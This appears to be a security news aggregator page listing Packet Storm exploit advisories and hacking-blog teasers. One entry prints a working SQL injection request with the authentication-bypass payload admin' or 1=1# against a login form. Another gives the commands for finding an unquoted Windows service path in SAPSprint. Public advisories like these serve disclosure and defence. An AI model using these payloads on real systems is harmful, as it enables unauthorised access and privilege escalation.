Exploit Collector
JNLP Injection To Multi-OS Code Execution

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
Whitepaper discussing BIZARRELOVETRIANGLE and FULLCLIP - JNLP parameter injection attacks to remote, persistent, multi-os code execution.

MD5 | 3cd80632607e5fe52441faab30881494

Download
Source:packetstormsecurity.com

Exploit Collector
Simple Client Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Simple Client Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 116a4b2bb22e3a0fa3b71578facd6011

Download
# Exploit Title: Simple Client Management System 1.0 - 'uemail' SQL Injection (Unauthenticated)
# Date: 24-06-2021
# Exploit Author: Barış Yıldızoğlu
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/client-details.zip
# Version: 1.0
# Tested on: Windows 10 Home 64 Bit + Wampserver Version 3.2.3

Request:

POST /client%20details/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1 /client%20details/index.php
Cookie: PHPSESSID=86klv32pm6nvt60qtli6peonod
Upgrade-Insecure-Requests: 1

uemail={Payload Here}&password=&login=LOG+IN
# Proof of Concept:
Payload: admin' or 1=1#

Source:packetstormsecurity.com

Exploit Collector
Online Pet Shop We App 1.0 SQL Injection / Shell Upload

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Online Pet Shop We App version 1.0 suffers from remote SQL injection and shell upload vulnerabilities.

MD5 | c011359f21acb9342fc6db0b0ddfa0be

Download
Source:packetstormsecurity.com

Exploit Collector
SAPSprint 7.60 Unquoted Service Path

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
SAPSprint version 7.60 suffers from an unquoted service path vulnerability.

MD5 | ae47ef8f34c49cafe177bc1f46014831

Download
# Exploit Title: SAPSprint 7.60 - 'SAPSprint' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 21-06-2021
# Vendor Homepage: https://brother.com/
# Tested Version: 7.60
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

SAPSprint SAPSprint C:\Program Files\SAP\SAPSprint\sapsprint.exe Auto

C:\>sc qc SAPSprint
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SAPSprint
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME: C:\Program Files\SAP\SAPSprint\sapsprint.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SAPSprint
DEPENDENCIES : Spooler
SERVICE_START_NAME: LocalSystem

Source:packetstormsecurity.com

Kali Linux Tutorials
pyWhat : Identify Anything. Easily Lets You Identify Emails, IP Addresses, And More…

pyWhat is the easiest way to identify anything. pip3 install pywhat && pywhat –help What is this? Imagine this: You come across some mysterious text 🧙‍♂️ 5f4dcc3b5aa765d61d8327deb882cf99 and you wonder what it is. What do you do? Well, with what all you have to do is ask what "5f4dcc3b5aa765d61d8327deb882cf99" and what will tell you! what‘s job is to identify what something is. Whether it be a file or text! […]

The post pyWhat : Identify Anything. Easily Lets You Identify Emails, IP Addresses, And More… appeared first on Kali Linux Tutorials.

Hacking on Medium
Online Scam And Preventions

https://cdn-images-1.medium.com/max/783/1*HOSwKHNqqgpte3oSTbhBgA.png
What Is Online Scam ?

Continue reading on Medium »

Hacking on Medium
TryHackMe — Basic Pentesting Writeup

https://cdn-images-1.medium.com/max/600/1*1SkYGPNJIU6Niewh74OQpw.png
TL&DR; This is a Linux box with a webserver and SMB that reveal usernames. We can use this to brute force Jan’s password and log in using…

Continue reading on Medium »